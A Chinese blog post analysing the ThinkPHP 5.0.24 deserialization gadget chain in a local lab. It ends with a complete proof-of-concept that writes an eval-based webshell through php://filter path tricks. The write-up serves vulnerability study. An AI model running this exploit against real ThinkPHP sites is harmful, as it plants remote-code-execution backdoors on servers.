1. 首页
  2. 代码审计

ThinkPHP5.0.24反序列化

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

前言

作为一名小白,对于反序列化,之前一直没有时间接触,只在ctf中偶尔遇见,而且还是很短的那种,在项目源码中利用反序列化,要比前者难得多,所以这次我利用两天的时间,好好研究了thinkphp5.0.24这个经典的反序列化漏洞,收获不少,在此记录一下。

复现环境

windows10

phpstudy(apache+mysql)

thinkphp5.0.24

php5.6.9

搭建环境

下载thinkPHP

下载地址:http://www.thinkphp.cn/donate/download/id/1279.html

将源码解压后放到PHPstudy根目录,修改application/index/controller/Index.php文件此为框架的反序列化漏洞,只有二次开发且实现反序列化才可利用。所以我们需要手工加入反序列化利用点。

class Index{    
public function index(){        
echo "Welcome thinkphp 5.0.24";        unserialize(base64_decode($_GET['a']));    
}
}

访问一下,确保能正常访问。

ThinkPHP5.0.24反序列化

分析

我们的目的就是通过__destruct想法设法调用output类中的__call来实现命令执行,首先查找__destruct

ThinkPHP5.0.24反序列化

找到这些,就不一个个分析了,只有Windows,php里的__destruct可以作为入口点。

我们进入Windows,php查看该__destruct

public function __destruct(){
    $this->close();  
  $this->removeFiles();}

跟进这两个方法,发现close为关闭文件的方法,没有利用点,而removeFiles中有个file_exists正好可以触发__toString.

private function removeFiles(){
    foreach ($this->files as $filename) {  
      if (file_exists($filename)) {  
          @unlink($filename);       
 } 
   } 
   $this->files = [];}

然后我们就去寻找__toString。全局搜素__toString

ThinkPHP5.0.24反序列化

发现了这么多,根据前人的铺垫我们选择Model中的__toString。代码如下:

public function __toString(){    return $this->toJson();}

跟进toJson

public function toJson($options = JSON_UNESCAPED_UNICODE){  
  return json_encode($this->toArray(), $options);
}

跟进toArray

public function toArray()
{
……..
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, ‘.’)) {
list($key, $attr) = explode(‘.’, $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, ‘getBindAttr’)) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception(‘bind attr has exists:’ . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

只要对象可控,且调用了不存在的方法,就会调用__call方法。大体扫描了一遍,发现能调用__call的只有如下四个形式,

$item[$key] = $relation->append($name)->toArray();
$item[$key] = $relation->append([$attr])->toArray();
$bindAttr = $modelRelation->getBindAttr();
$item[$key] = $value ? $value->getAttr($attr) : null;

通过分析发现1,2$relation返回错误,不可利用。3中的$modelRelation只能为Relation类型,因此不可控。

只有4是可以利用的,要使代码走到4,需要多个关卡。

七大关

!empty($this->append) # $this->append不为空
!is_array($name) #$name不能为数组
!strpos($name, '.') #$name不能有.method_exists($this, $relation)#$relation必须为Model类里的方法method_exists($modelRelation, 'getBindAttr')#$modelRelation必须存在getBindAttr方法$bindAttr #必须有值!isset($this->data[$key]) #$key不能在$this->data这个数组里有相同的值。

只有通过这七关我们就来到代码4了。

第1-4关

我们来分析一下。在toArray方法中,$this->append是可控的,因此$key和$name也是可控的,我们只需要使$this->append=’fuck‘]随便几个字符就可通过前三关,到了第四关,发现$relation跟$name有关系.如下:

$relation = Loader::parseName($name, 1, false);

通过搜索发现parseName这是一个风格转换函数,也就是说$name==$relation。

/**
* 字符串命名风格转换
* type 0 将 Java 风格转换为 C 的风格 1 将 C 风格转换为 Java 的风格
* @access public
* @param string $name 字符串
* @param integer $type 转换类型
* @param bool $ucfirst 首字母是否大写(驼峰规则)
* @return string
*/
public static function parseName($name, $type = 0, $ucfirst = true){
if ($type) {
$name = preg_replace_callback(‘/_([a-zA-Z])/’, function ($match) {
return strtoupper($match[1]);
}, $name);

return $ucfirst ? ucfirst($name) : lcfirst($name);
}

return strtolower(trim(preg_replace(“/[A-Z]/”, “_\\0”, $name), “_”));
}

所以,要想通过第四关,我们就不能瞎写了,需要写成$this->append=[‘getError’],getError为Model类里的方法,且结构简单返回值可控。代码如下:

public function getError(){    return $this->error;}

第5关

$modelRelation定义如下:

$modelRelation = $this->$relation();$value         = $this->getRelationData($modelRelation);

第四关时已经说了,$relation为getError,返回值可控,即$modelRelation可控。跟进getRelationData方法,如下

 

protected function getRelationData(Relation $modelRelation){
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, ‘getRelation’)) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException(‘method not exists:’ . get_class($modelRelation) . ‘-> getRelation’);
}
}
return $value;
}

我们看到$modelRelation必须为Relation对象,通过$this->error控制,并且$modelRelation这个对象还要有isSelfRelation()、getModel()方法,

搜索这两种方法发现Relation类中都有,但因为Relation为抽象类,需要寻找他的子类。全局搜索。

ThinkPHP5.0.24反序列化

除了最后一个是抽象类外,都可以拿来用,但是!!!,我们别忘了第五关,需要$modelRelation必须存在getBindAttr方法,但是Relation没有getBindAttr方法,只有OneToOne类里有,且OneToOne类正好继承Relation类,不过是抽象类,所以我们需要找它的自类。全局搜索

ThinkPHP5.0.24反序列化

发现存在两个可用的,我们选择第二个HasOne,即$this->error=new HasOne()。好了,调用方法的问题解决了,但是还需要过三小关

$this->parent!$modelRelation->isSelfRelation()get_class($modelRelation->getModel()) == get_class($this->parent)

$this->parent可控,我们要使用Output类中的__call,所以$value必须为output对象,所以$this->parent必须控制为output对象,即$this->parent=new Output().

我们看一下isSelfRelation()方法

public function isSelfRelation(){    return $this->selfRelation;}

$this->selfRelation可控,设为false即可。

第2小关已过,看第3小关,

get_class()的意思为 返回对象实例 obj 所属类的名字。

$this->parent已经确定为Output类了,所以我们要控制get_class($modelRelation->getModel())为Output类,看一下getModel()的实

public function getModel(){    return $this->query->getModel();}

$this->query可控,我们只需要找个getModel方法返回值可控的就可了,全局搜索getModel方法

ThinkPHP5.0.24反序列化

发现前两个的getModel方法返回值都可控,如下:

public function getModel(){    return $this->model;}

随机挑选一个幸运儿Query,使$this->query=new Query() ,$this->model=new Output()即可。

三小关已过,if方法为True,$value=$this->parent=new Output(). 第五关也顺其而然的过了。

第6关

$bindAttr的定义如下

$bindAttr = $modelRelation->getBindAttr();

看一下getBindAttr()方法:

public function getBindAttr(){    return $this->bindAttr;}

$this->bindAttr可控,$this->bindAttr=[“kanjin”,”kanjinaaa”],随便写即可。

终于到达 $item[$key] = $value ? $value->getAttr($attr) : null;  因为Output类中没有getAttr方法,所以会去调用__call方法。

__call

查看Output类中的__call方法

public function __call($method, $args){   
 if (in_array($method, $this->styles)) {  
      array_unshift($args, $method);        return call_user_func_array([$this, 'block'], $args);        }       
 if ($this->handle && method_exists($this->handle, $method)) {        return call_user_func_array([$this->handle, $method], $args);    }        else {        
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);    }
}

当因为没有getAttr方法去调用__call方法时,__call方法中的$method=getAttr, $args=[‘kanjinaaa’]

我们要使用call_user_func_array([$this, ‘block’], $args); 就要使in_array($method, $this->styles)成立。$this->styles可控,即$this->styles=[‘getAttr’]

array_unshift($args, $method); 是将$method添加到数组$args中不用管。

进入call_user_func_array([$this, ‘block’], $args); 调用了block方法,跟进block方法。

protected function block($style, $message){    $this->writeln("<{$style}>{$message}</$style>");}

跟进writeln方法

public function writeln($messages, $type = self::OUTPUT_NORMAL){    $this->write($messages, true, $type);}

跟进write方法

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL){    $this->handle->write($messages, $newline, $type);}

$this->handle可控全局查找可利用的write方法。

这里我使用了/thinkphp/library/think/session/driver/Memcache.php里的write方法,因为有set可作为跳板。

public function write($sessID, $sessData){    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);}

$this->handler可控,全局查找set方法,

这里使用了/thinkphp/library/think/cache/driver/File.php里的set方法.

public function set($name, $value, $expire = null){    if (is_null($expire)) {        $expire = $this->options['expire'];    }    if ($expire instanceof DateTime) {        $expire = $expire->getTimestamp() - time();    }    $filename = $this->getCacheKey($name, true);    if ($this->tag && !is_file($filename)) {        $first = true;    }    $data = serialize($value);    if ($this->options['data_compress'] && function_exists('gzcompress')) {        //数据压缩        $data = gzcompress($data, 3);    }    $data   = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;    $result = file_put_contents($filename, $data);    if ($result) {        isset($first) && $this->setTagItem($filename);        clearstatcache();        return true;    } else {        return false;    }}

可以看到这里有文件写入操作,可以写入webshell,但是$data是由$value控制的,$value为writeln中的true,不可控。但是进入setTagItem方法之后发现,会将$name换成$value再一次执行了set方法。setTagItem方法如下:

protected function setTagItem($name){        if ($this->tag) {            $key       = 'tag_' . md5($this->tag);            $this->tag = null;            if ($this->has($key)) {                $value   = explode(',', $this->get($key));                $value[] = $name;                $value   = implode(',', array_unique($value));            } else {                $value = $name;            }            $this->set($key, $value, 0);        }    }

而$name通过getCacheKey方法我们是可控的,getCacheKey方法如下:

protected function getCacheKey($name, $auto = false){        $name = md5($name);        if ($this->options['cache_subdir']) {            // 使用子目录            $name = substr($name, 0, 2) . DS . substr($name, 2);        }        if ($this->options['prefix']) {            $name = $this->options['prefix'] . DS . $name;        }        $filename = $this->options['path'] . $name . '.php';        $dir      = dirname($filename);
        if ($auto && !is_dir($dir)) {            mkdir($dir, 0755, true);        }        return $filename;    }

$this->options[‘path’]可控,通过php伪协议绕过exit()限制,即

$this->options['path']=php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>

生成的文件名为

md5('tag_'.md5($this->tag))即:md5('tag_c4ca4238a0b923820dcc509a6f75849b') =>3b58a9545013e88c7186db11bb158c44 => <?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44  最终文件名: <?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php

但是上面这种文件名只能在Linux使用,window对文件名有限制。

对于windows环境我们可以使用以下payload.

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

生成的文件名如下:

a.php3b58a9545013e88c7186db11bb158c44.php

原理可以看这篇文章:https://xz.aliyun.com/t/7457#toc-3

poc

通过以上分析编写出了poc,里面包含了我在编写时遇到的问题和解决方法,共勉。

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}
class Windows extends Pipes{
private $files=[];
function __construct(){
$this->files=[new Pivot()];
}

}
namespace think;
use think\model\relation\HasOne; // use 这里是类名 写成了use think\model\relation\hasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
public $parent; // 类型写错写错了 写成了 protected $parent;
public function __construct(){
$this->append=[“getError”];
$this->error=new HasOne();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
function __construct(){
parent::__construct();
}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation=false;
$this->query= new Query();
}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
protected $styles = []; //类型错了 写成了private $styles = [];
function __construct(){
$this->styles=[‘getAttr’]; //这个条件忘记加了 注意上下文
$this->handle=new Memcache();
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model= new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{

protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr=[“kanjin”,”kanjin”];

}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
protected $options=[];
function __construct(){
parent::__construct();
$this->options = [
‘expire’ => 0,
‘cache_subdir’ => false,
‘prefix’ => ”,
‘path’ => ‘php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php’,
‘data_compress’ => false,
];
}
}
namespace think\cache;
abstract class Driver{
protected $tag;
function __construct(){
$this->tag=true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

//
?>

漏洞复现

通过poc生成base64字符串,进行利用。

ThinkPHP5.0.24反序列化

访问a.php3b58a9545013e88c7186db11bb158c44.php

ThinkPHP5.0.24反序列化

参考链接

  1. https://www.yuque.com/tidesec/0sec/26a6f72b99dd3465134d534f96aab0a0#IS5Q6
  2. https://xz.aliyun.com/t/7457#toc-3
  3. https://www.anquanke.com/post/id/196364

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/4586.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息